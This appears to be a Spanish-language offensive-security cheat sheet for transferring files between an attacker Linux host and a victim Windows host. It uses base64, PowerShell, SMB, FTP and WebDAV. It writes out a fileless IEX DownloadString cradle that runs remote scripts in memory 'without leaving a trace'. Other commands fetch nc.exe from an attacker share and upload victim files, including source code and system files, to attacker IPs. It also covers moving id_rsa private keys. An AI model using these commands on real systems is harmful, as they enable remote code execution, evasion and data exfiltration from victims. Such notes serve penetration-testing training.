PowerShell Base64 Codificar y Decodificar Si tenemos acceso a un terminal, podemos codificar un fichero a una cadena base64, copiar su contenido desde el terminal y realizar la operación inversa, descodificando el fichero en el contenido original, sirve para cuando no se puede usar una red para transferir archivos directamente
Maquina Arch Linux (Atacante) Calcular el hash MD5 del archivo que quieres transferir terminal Copy
md5sum id_rsa txt Copy
4e301756a07ded0a2dd6953abf015278 id_rsaCodificar el archivo en Base64 bash Copy
$ cat id_rsa | base64 -w 0; echo-w 0 : para asegurar que sea en una línea
Máquina Víctima (Windows) Crear el archivo desde la cadena Base64. Usa el siguiente comando en PowerShell, reemplazando <cadena_base64> con el texto codificado powershell Copy
[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("<cadena_base64>"))Verificar el hash MD5 del archivo recibido powershell Copy
Get-FileHash C:\Users\Public\id_rsa -Algorithm md5Si el hash coincide con el de la máquina atacante, el archivo fue transferido correctamente
Powershell Descarga Web Cuidado que no lo descarga directamente en el pc
DownloadFile (Básico) powershell Copy
(New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')DownloadString - Fileless (IEX) El término fileless sugiere que una amenaza no viene en un archivo, sino que utiliza herramientas legítimas integradas en un sistema para ejecutar un ataque. Se utilizan funciones del sistema operativo para ejecutar directamente el código en memoria
powershell Copy
IEX (New-Object Net.WebClient).DownloadString('http://<ip>/script.ps1')Esto lo que hace es guardarse en memoria y ejecutarse directamentesin dejar rastro en el disco
PowerShell Invoke-WebRequest Hace lo mismo que los otros comandos pero es más lento, es mejor usar iwr,curl,wget
powershell Copy
Invoke-WebRequest http://<ip>/script.ps1 -OutFile script.ps1Posible Error (Internet Explorer) Pueden darse casos que haya errores por parte de Internet Explorer, se bypassea usando -useBasicParsing
powershell Copy
Invoke-WebRequest http://<ip>/script.ps1 -UseBasicParsing | IEXSMB Maquina Atacante (Arch Linux) terminal Copy
sudo impacket-smbserver share -smb2support /tmp/smbshare share : Nombre del recurso compartido que se usará para acceder al servidor.smb2support : Habilita soporte para SMBv2./tmp/smbshare : Ruta en la máquina atacante donde están los archivos que se compartirán.Descarga de Archivos desde Víctima (Windows) txt Copy
copy \\192.168.220.133\share\nc.exeProblema: Acceso Bloqueado por Políticas de Seguridad En versiones recientes de Windows, el acceso sin autenticación a carpetas compartidas SMB está bloqueado.
Configurar SMB con Usuario y Contraseña terminal Copy
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test Montar el Servidor SMB en la Máquina Windows txt Copy
net use n: \\192.168.220.133\share /user:test testFTP Configurar servidor FTP Atacante (Arch Linux) terminal Copy
$ sudo python3 -m pyftpdlib --port 21Descarga de Archivos Windows powershell Copy
(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')Uso Cliente FTP Si no tienes acceso a un shell interactivo, puedes crear un archivo con los comandos FTP necesarios y ejecutarlo automáticamente.
txt Copy
echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txtOperaciones de Subida (proceso inverso) PowerShell Base64 Encode & Decode powershell Copy
[Convert]::ToBase64String((Get-Content -path "C:\Windows\System32\drivers\etc\hosts" -Encoding byte))En la máquina atacante (Linux), decodifica la cadena:
terminal Copy
$ echo <base64_string> | base64 -d > hostsTransferencia Mediante Servidor HTTP terminal Copy
$ sudo python3 -m http.server 8080powershell Copy
IEX(New-Object Net.WebClient).DownloadString('http://<ip>/PSUpload.ps1')
Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hostsSMB / WebDav / FTP Uploads WebDav:
terminal Copy
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous txt Copy
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.128\DavWWWRoot\FTP con subida:
terminal Copy
$ sudo python3 -m pyftpdlib --port 21 --writepowershell Copy
(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')